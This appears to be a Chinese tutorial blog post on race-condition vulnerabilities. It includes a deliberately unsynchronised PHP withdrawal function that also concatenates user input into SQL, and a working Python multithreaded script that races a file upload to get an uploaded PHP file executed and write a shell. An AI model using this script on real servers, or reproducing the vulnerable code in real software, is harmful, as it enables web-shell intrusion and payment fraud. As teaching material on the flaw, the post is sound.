条件竞争

1:条件竞争

 

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

 

2:例子1:

某平台提现功能的业务处理流程为: 用户发起提现 -> 获取用户金额并判断能否提现 -> 提现:生成提现订单->扣除提现金额

 

<?php

public funtion withdraw($user_id, $withdrawal_amount){

//获取余额

$money = $db->FirstRow("SELECT * FROM ".Tb('money')." WHERE user_id='{$user_id}'");

 

if($money['balance'] == 0) ShowError('金额为零,无法提现!');

 

//提现余额小于等于数据库的值就提现

if ($withdrawal_amount <= $money['balance']) {

create_withdraw_order($withdrawal_amount, $user_id, time());

$db->Execute("UPDATE ".Tb('money')." SET balance=balance-{$withdrawal_amount} WHERE uer_id='{$user_id}'");

ShowSuccess('提现成功!');

}else{

ShowError('提现金额过高!');

}

}

?>

 

上述代码在非并发情况下是没有问题的。

 

假设现有一个用户在系统中共有2000元可以提现,他想全部提现。于是该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元。

 

例子2:先存储文件,再判断是否合法,然后又删除。。。

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”

攻击:首先上传一个php文件

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

 

利用脚本

 

import requests

import threading

import os

 

class RaceCondition(threading.Thread):

def __init__(self):

threading.Thread.__init__(self)

 

self.url = 'http://127.0.0.1/a.php'

self.uploadUrl = 'http://127.0.0.1/race.php'

 

def _get(self):

print('try to call uploaded file...')

r = requests.get(self.url)

if r.status_code == 200:

print('[*] create file info.php success.')

os._exit(0)

 

def _upload(self):

print('upload file...')

file = {'myfile': open('a.php', 'r')}

requests.post(self.uploadUrl, files=file)

 

def run(self):

while True:

for i in range(5):

self._get()

 

for i in range(10):

self._upload()

self._get()

 

if __name__ == '__main__':

threads = 50

 

for i in range(threads):

t = RaceCondition()

t.start()

 

for i in range(threads):

t.join()

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值